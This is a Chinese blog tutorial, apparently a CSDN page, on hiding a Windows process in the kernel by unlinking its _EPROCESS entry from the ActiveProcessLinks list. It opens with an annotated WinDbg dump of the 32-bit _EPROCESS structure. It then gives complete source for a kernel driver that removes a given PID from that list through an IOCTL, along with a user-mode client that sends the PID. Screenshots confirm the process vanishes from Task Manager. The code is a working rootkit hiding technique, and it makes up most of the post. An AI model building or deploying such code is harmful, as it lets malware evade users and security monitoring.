_EPROCESS断链 —— 实现进程内核隐藏

我们可以利用 _EPROCESS 结构体中的 ActiveProcessLinks 双向链表遍历进系统中的进程,并将特定进程从该双向链表中移除,以达到隐藏特定进程的目的。


_EPROCESS

_EPROCESS 结构体是内核用于管理和维护进程的结构体,每个进程都会有一个属于自己的结构体。同一个程序创建了多个进程,其就会有对应个数的 _EPROCESS

_EPROCESS 的结构如下:

kd> dt _EPROCESS
nt!_EPROCESS
   +0x000 Pcb              : _KPROCESS
   /*
   	kd> dt _KPROCESS
    nt!_KPROCESS
       +0x000 Header           : _DISPATCHER_HEADER
       // 当结构体中含有 _DISPATCHER_HEADER 结构体的
       // 该结构体对象就可以使用WaitForSingleObject函数等待
       +0x010 ProfileListHead  : _LIST_ENTRY
       +0x018 DirectoryTableBase : [2] Uint4B	//Cr3
       +0x020 LdtDescriptor    : _KGDTENTRY		//历史遗留
       +0x028 Int21Descriptor  : _KIDTENTRY		//历史遗留 
       +0x030 IopmOffset       : Uint2B
       +0x032 Iopl             : UChar
       +0x033 Unused           : UChar
       +0x034 ActiveProcessors : Uint4B
       +0x038 KernelTime       : Uint4B			//R0执行时间
       +0x03c UserTime         : Uint4B			//R3执行时间
       +0x040 ReadyListHead    : _LIST_ENTRY
       +0x048 SwapListEntry    : _SINGLE_LIST_ENTRY
       +0x04c VdmTrapcHandler  : Ptr32 Void
       +0x050 ThreadListHead   : _LIST_ENTRY
       +0x058 ProcessLock      : Uint4B
       +0x05c Affinity         : Uint4B			//规定进程中的所有线程能在哪个CPU上运行
       // 如果值为1,那这个进程的所以线程只能在0号CPU上跑(00000001)			
	   // 如果值为3,那这个进程的所以线程能在0、1号CPU上跑(000000011)	
	   // 4个字节共32位, 所以最多32核; Windows64位, 就64核
       +0x060 StackCount       : Uint2B
       +0x062 BasePriority     : Char			//基础优先级或最低优先级, 该进程中的所有线程最低的优先级
       +0x063 ThreadQuantum    : Char
       +0x064 AutoAlignment    : UChar
       +0x065 State            : UChar
       +0x066 ThreadSeed       : UChar
       +0x067 DisableBoost     : UChar
       +0x068 PowerState       : UChar
       +0x069 DisableQuantum   : UChar
       +0x06a IdealNode        : UChar
       +0x06b Flags            : _KEXECUTE_OPTIONS
       +0x06b ExecuteOptions   : UChar
   */
   +0x06c ProcessLock      : _EX_PUSH_LOCK	
   +0x070 CreateTime       : _LARGE_INTEGER		// 进程的创建时间
   +0x078 ExitTime         : _LARGE_INTEGER		// 进程的退出时间
   +0x080 RundownProtect   : _EX_RUNDOWN_REF
   +0x084 UniqueProcessId  : Ptr32 Void			// 进程的PID
   +0x088 ActiveProcessLinks : _LIST_ENTRY		// 双向链表, 所有的活动进程都连接在一起,构成了一个链表
												// PsActiveProcessHead指向全局链表头, 导出全局变量
   +0x090 QuotaUsage       : [3] Uint4B	//虚拟内存相关的统计信息
   +0x09c QuotaPeak        : [3] Uint4B	//虚拟内存相关的统计信息
   +0x0a8 CommitCharge     : Uint4B		//虚拟内存相关的统计信息
   +0x0ac PeakVirtualSize  : Uint4B		//虚拟内存相关的统计信息
   +0x0b0 VirtualSize      : Uint4B		//虚拟内存相关的统计信息
   +0x0b4 SessionProcessLinks : _LIST_ENTRY
   +0x0bc DebugPort        : Ptr32 Void			
       // 用于为调试器提供调试对象地址, 调试对象用于调试器与被调试进建立联系; 
       // 当调试器附加进程时, 操作系统会在DebugPort处填充一个调试对象地址, 用于供调试器使用
       // 当该值为空时, 进程将会无法被调试
   +0x0c0 ExceptionPort    : Ptr32 Void		// 调试相关
   +0x0c4 ObjectTable      : Ptr32 _HANDLE_TABLE		//句柄表
   +0x0c8 Token            : _EX_FAST_REF
   +0x0cc WorkingSetLock   : _FAST_MUTEX
   +0x0ec WorkingSetPage   : Uint4B
   +0x0f0 AddressCreationLock : _FAST_MUTEX
   +0x110 HyperSpaceLock   : Uint4B
   +0x114 ForkInProgress   : Ptr32 _ETHREAD
   +0x118 HardwareTrigger  : Uint4B
   +0x11c VadRoot          : Ptr32 Void			// 指向记录当前进程线性地址分配情况的二叉树
   +0x120 VadHint          : Ptr32 Void
   +0x124 CloneRoot        : Ptr32 Void
   +0x128 NumberOfPrivatePages : Uint4B
   +0x12c NumberOfLockedPages : Uint4B
   +0x130 Win32Process     : Ptr32 Void
   +0x134 Job              : Ptr32 _EJOB
   +0x138 SectionObject    : Ptr32 Void
   +0x13c SectionBaseAddress : Ptr32 Void
   +0x140 QuotaBlock       : Ptr32 _EPROCESS_QUOTA_BLOCK
   +0x144 WorkingSetWatch  : Ptr32 _PAGEFAULT_HISTORY
   +0x148 Win32WindowStation : Ptr32 Void
   +0x14c InheritedFromUniqueProcessId : Ptr32 Void
   +0x150 LdtInformation   : Ptr32 Void
   +0x154 VadFreeHint      : Ptr32 Void
   +0x158 VdmObjects       : Ptr32 Void
   +0x15c DeviceMap        : Ptr32 Void
   +0x160 PhysicalVadList  : _LIST_ENTRY
   +0x168 PageDirectoryPte : _HARDWARE_PTE
   +0x168 Filler           : Uint8B
   +0x170 Session          : Ptr32 Void
   +0x174 ImageFileName    : [16] UChar		// 进程名
   +0x184 JobLinks         : _LIST_ENTRY
   +0x18c LockedPagesList  : Ptr32 Void
   +0x190 ThreadListHead   : _LIST_ENTRY
   +0x198 SecurityPort     : Ptr32 Void
   +0x19c PaeTop           : Ptr32 Void
   +0x1a0 ActiveThreads    : Uint4B		// 活动的线程数
   +0x1a4 GrantedAccess    : Uint4B
   +0x1a8 DefaultHardErrorProcessing : Uint4B
   +0x1ac LastThreadExitStatus : Int4B
   +0x1b0 Peb              : Ptr32 _PEB		// 指向用户层下的_PEB
   +0x1b4 PrefetchTrace    : _EX_FAST_REF
   +0x1b8 ReadOperationCount : _LARGE_INTEGER
   +0x1c0 WriteOperationCount : _LARGE_INTEGER
   +0x1c8 OtherOperationCount : _LARGE_INTEGER
   +0x1d0 ReadTransferCount : _LARGE_INTEGER
   +0x1d8 WriteTransferCount : _LARGE_INTEGER
   +0x1e0 OtherTransferCount : _LARGE_INTEGER
   +0x1e8 CommitChargeLimit : Uint4B
   +0x1ec CommitChargePeak : Uint4B
   +0x1f0 AweInfo          : Ptr32 Void
   +0x1f4 SeAuditProcessCreationInfo : _SE_AUDIT_PROCESS_CREATION_INFO
   +0x1f8 Vm               : _MMSUPPORT
   +0x238 LastFaultCount   : Uint4B
   +0x23c ModifiedPageCount : Uint4B
   +0x240 NumberOfVads     : Uint4B
   +0x244 JobStatus        : Uint4B
   +0x248 Flags            : Uint4B
   +0x248 CreateReported   : Pos 0, 1 Bit
   +0x248 NoDebugInherit   : Pos 1, 1 Bit
   +0x248 ProcessExiting   : Pos 2, 1 Bit
   +0x248 ProcessDelete    : Pos 3, 1 Bit
   +0x248 Wow64SplitPages  : Pos 4, 1 Bit
   +0x248 VmDeleted        : Pos 5, 1 Bit
   +0x248 OutswapEnabled   : Pos 6, 1 Bit
   +0x248 Outswapped       : Pos 7, 1 Bit
   +0x248 ForkFailed       : Pos 8, 1 Bit
   +0x248 HasPhysicalVad   : Pos 9, 1 Bit
   +0x248 AddressSpaceInitialized : Pos 10, 2 Bits
   +0x248 SetTimerResolution : Pos 12, 1 Bit
   +0x248 BreakOnTermination : Pos 13, 1 Bit
   +0x248 SessionCreationUnderway : Pos 14, 1 Bit
   +0x248 WriteWatch       : Pos 15, 1 Bit
   +0x248 ProcessInSession : Pos 16, 1 Bit
   +0x248 OverrideAddressSpace : Pos 17, 1 Bit
   +0x248 HasAddressSpace  : Pos 18, 1 Bit
   +0x248 LaunchPrefetched : Pos 19, 1 Bit
   +0x248 InjectInpageErrors : Pos 20, 1 Bit
   +0x248 VmTopDown        : Pos 21, 1 Bit
   +0x248 Unused3          : Pos 22, 1 Bit
   +0x248 Unused4          : Pos 23, 1 Bit
   +0x248 VdmAllowed       : Pos 24, 1 Bit
   +0x248 Unused           : Pos 25, 5 Bits
   +0x248 Unused1          : Pos 30, 1 Bit
   +0x248 Unused2          : Pos 31, 1 Bit
   +0x24c ExitStatus       : Int4B
   +0x250 NextPageColor    : Uint2B
   +0x252 SubSystemMinorVersion : UChar
   +0x253 SubSystemMajorVersion : UChar
   +0x252 SubSystemVersion : Uint2B
   +0x254 PriorityClass    : UChar
   +0x255 WorkingSetAcquiredUnsafe : UChar
   +0x258 Cookie           : Uint4B

Code

驱动代码如下:

#include <ntddk.h>

#define DEVICE_NAME L"\\Device\\Driver"
#define SYMBOLICLINK_NAME L"\\??\\DriverLink"
#define OPER_ProcessHide CTL_CODE(FILE_DEVICE_UNKNOWN,0x800,METHOD_BUFFERED,FILE_ANY_ACCESS)

// 函数声明
NTSTATUS DriverEntry(PDRIVER_OBJECT pDriver, PUNICODE_STRING RegPath);
VOID DriverUnload(PDRIVER_OBJECT pDriver);
NTSTATUS IrpCreateProc(PDEVICE_OBJECT pDevObj, PIRP pIrp);
NTSTATUS IrpCloseProc(PDEVICE_OBJECT pDevObj, PIRP pIrp);
NTSTATUS IrpDeviceControlProc(PDEVICE_OBJECT pDevObj, PIRP pIrp);
NTSTATUS _NtProcessHide(ULONG uPid);

// 入口函数
NTSTATUS DriverEntry(PDRIVER_OBJECT pDriver, PUNICODE_STRING RegPath)
{
	NTSTATUS status;
	ULONG uIndex = 0;
	PDEVICE_OBJECT pDeviceObj = NULL; // 设备对象指针
	UNICODE_STRING DeviceName; // 设备名,0环用
	UNICODE_STRING SymbolicLinkName; // 符号链接名,3环用

	// 创建设备名称
	RtlInitUnicodeString(&DeviceName, DEVICE_NAME);
	// 创建设备
	status = IoCreateDevice(pDriver, 0, &DeviceName, FILE_DEVICE_UNKNOWN, FILE_DEVICE_SECURE_OPEN, FALSE, &pDeviceObj);
	if (status != STATUS_SUCCESS)
	{
		IoDeleteDevice(pDeviceObj);
		DbgPrint("创建设备失败.\n");
		return status;
	}
	DbgPrint("创建设备成功.\n");
	// 设置交互数据的方式
	pDeviceObj->Flags |= DO_BUFFERED_IO;
	// 创建符号链接
	RtlInitUnicodeString(&SymbolicLinkName, SYMBOLICLINK_NAME);
	IoCreateSymbolicLink(&SymbolicLinkName, &DeviceName);
	// 设置分发函数
	pDriver->MajorFunction[IRP_MJ_CREATE] = IrpCreateProc;
	pDriver->MajorFunction[IRP_MJ_CLOSE] = IrpCloseProc;
	pDriver->MajorFunction[IRP_MJ_DEVICE_CONTROL] = IrpDeviceControlProc;
	// 设置卸载函数
	pDriver->DriverUnload = DriverUnload;
	return STATUS_SUCCESS;
}

// 卸载驱动
VOID DriverUnload(PDRIVER_OBJECT pDriver)
{
	UNICODE_STRING SymbolicLinkName;
	// 删除符号链接,删除设备
	RtlInitUnicodeString(&SymbolicLinkName, SYMBOLICLINK_NAME);
	IoDeleteSymbolicLink(&SymbolicLinkName);
	IoDeleteDevice(pDriver->DeviceObject);
	DbgPrint("驱动卸载成功\n");
}

// 不设置这个函数,则Ring3调用CreateFile会返回1
// IRP_MJ_CREATE 处理函数
NTSTATUS IrpCreateProc(PDEVICE_OBJECT pDevObj, PIRP pIrp)
{
	DbgPrint("应用层连接设备.\n");
	// 返回状态如果不设置,Ring3返回值是失败
	pIrp->IoStatus.Status = STATUS_SUCCESS;
	pIrp->IoStatus.Information = 0;
	IoCompleteRequest(pIrp, IO_NO_INCREMENT);
	return STATUS_SUCCESS;
}

// IRP_MJ_CLOSE 处理函数
NTSTATUS IrpCloseProc(PDEVICE_OBJECT pDevObj, PIRP pIrp)
{
	DbgPrint("应用层断开连接设备.\n");
	// 返回状态如果不设置,Ring3返回值是失败
	pIrp->IoStatus.Status = STATUS_SUCCESS;
	pIrp->IoStatus.Information = 0;
	IoCompleteRequest(pIrp, IO_NO_INCREMENT);
	return STATUS_SUCCESS;
}

// IRP_MJ_DEVICE_CONTROL 处理函数
NTSTATUS IrpDeviceControlProc(PDEVICE_OBJECT pDevObj, PIRP pIrp)
{
	// DbgPrint("IrpDeviceControlProc.\n");
	NTSTATUS status = STATUS_INVALID_DEVICE_REQUEST;
	// 获取IRP数据
	PIO_STACK_LOCATION pIrpStack = IoGetCurrentIrpStackLocation(pIrp);
	// 获取控制码
	ULONG uIoControlCode = pIrpStack->Parameters.DeviceIoControl.IoControlCode;
	// 获取缓冲区地址(输入输出是同一个)
	PVOID pIoBuffer = pIrp->AssociatedIrp.SystemBuffer;
	// Ring3 发送数据的长度
	// ULONG uInLength = pIrpStack->Parameters.DeviceIoControl.InputBufferLength;
	// Ring0 发送数据的长度
	// ULONG uOutLength = pIrpStack->Parameters.DeviceIoControl.OutputBufferLength;

	switch (uIoControlCode)
	{
		case OPER_ProcessHide:
		{
			ULONG uPid;
			memcpy(&uPid, pIoBuffer, 4);
			DbgPrint("隐藏进程PID: %u\n", uPid);
			NTSTATUS ntRet = _NtProcessHide(uPid);
			if (ntRet == STATUS_SUCCESS)
			{
				ntRet = 1;
			}
			else ntRet = 0;
			memcpy(pIoBuffer, &ntRet, sizeof(NTSTATUS));

			// 设置状态
			pIrp->IoStatus.Information = sizeof(NTSTATUS); // 返回数据长度
			status = STATUS_SUCCESS;
			break;
		}
	}

	// 返回状态如果不设置,Ring3返回值是失败
	pIrp->IoStatus.Status = status;
	IoCompleteRequest(pIrp, IO_NO_INCREMENT);
	return STATUS_SUCCESS;
}


// 进程隐藏
NTSTATUS _NtProcessHide(ULONG uPid)
{
	PEPROCESS pEPROCESS;
	LPSTR lpImageFileName;

	__asm
	{
		mov eax, fs: [0x124] ;
		mov eax, [eax + 0x220];
		mov pEPROCESS, eax;
		/*mov eax, [eax + 0x84];
		mov pid, eax;*/
	}
	PLIST_ENTRY pHeader = (PCHAR)pEPROCESS + 0x88;
	PLIST_ENTRY pCur = pHeader;
	
	do 
	{
		if (*(PLONG)((ULONG)pCur - 4) == uPid)
		{
			lpImageFileName = (PCHAR)pCur + 0xec;
			DbgPrint("该进程名称: %s\n", lpImageFileName);
			pCur->Flink->Blink = pCur->Blink;
			pCur->Blink->Flink = pCur->Flink;
			DbgPrint("隐藏进程成功!\n");
			return STATUS_SUCCESS;
		}
		pCur = pCur->Blink;
	} while (pCur != pHeader);
	return STATUS_ABANDONED;
}

测试程序代码如下:

#include <windows.h>
#include <stdio.h>

//#define DEVICE_NAME L"\\Device\\Driver"
#define SYMBOLICLINK_NAME L"\\\\.\\DriverLink"
#define OPER_ProcessHide CTL_CODE(FILE_DEVICE_UNKNOWN,0x800,METHOD_BUFFERED,FILE_ANY_ACCESS)
#define IN_BUFFER_MAXLENGTH 4
#define OUT_BUFFER_MAXLENGTH 4

int main(int argc, char* argv[])
{
	// 获取设备句柄
	HANDLE hDevice = CreateFileW(SYMBOLICLINK_NAME, GENERIC_READ | GENERIC_WRITE, 0, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
	DWORD dwError = GetLastError();
	if (hDevice == INVALID_HANDLE_VALUE)
	{
		printf("获取设备句柄失败 %d.\n", dwError); // 如果返回1,请在驱动中指定 IRP_MJ_CREATE 处理函数
		getchar();
		return 1;
	}
	else
	{
		printf("获取设备句柄成功.\n");
	}

	// 测试通信
	BOOL bRet;		// 隐藏进程返回值
	DWORD dwOutSize;	// 返回数据长度
	DWORD dwPid;	// 进程PID

	// 获取进程PID
	printf("请输入需要隐藏的进程PID:");
	scanf("%d", &dwPid);

	DeviceIoControl(hDevice, OPER_ProcessHide, &dwPid, IN_BUFFER_MAXLENGTH, &bRet, OUT_BUFFER_MAXLENGTH, &dwOutSize, NULL);
	printf("uRet: %x\n", bRet);
	if (bRet != 0)
	{
		printf("隐藏进程成功!\n");
	}
	else
		printf("隐藏进程失败!\n");

	// 关闭设备
	CloseHandle(hDevice);
	system("pause");
	return 0;
}

可以看到,进程 haha.exePID824
在这里插入图片描述

在这里插入图片描述


可以看到,任务管理器中已将无法看到 haha.exe 了。
在这里插入图片描述

  • 1
    点赞
  • 15
    收藏
    觉得还不错? 一键收藏
  • 5
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 5
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值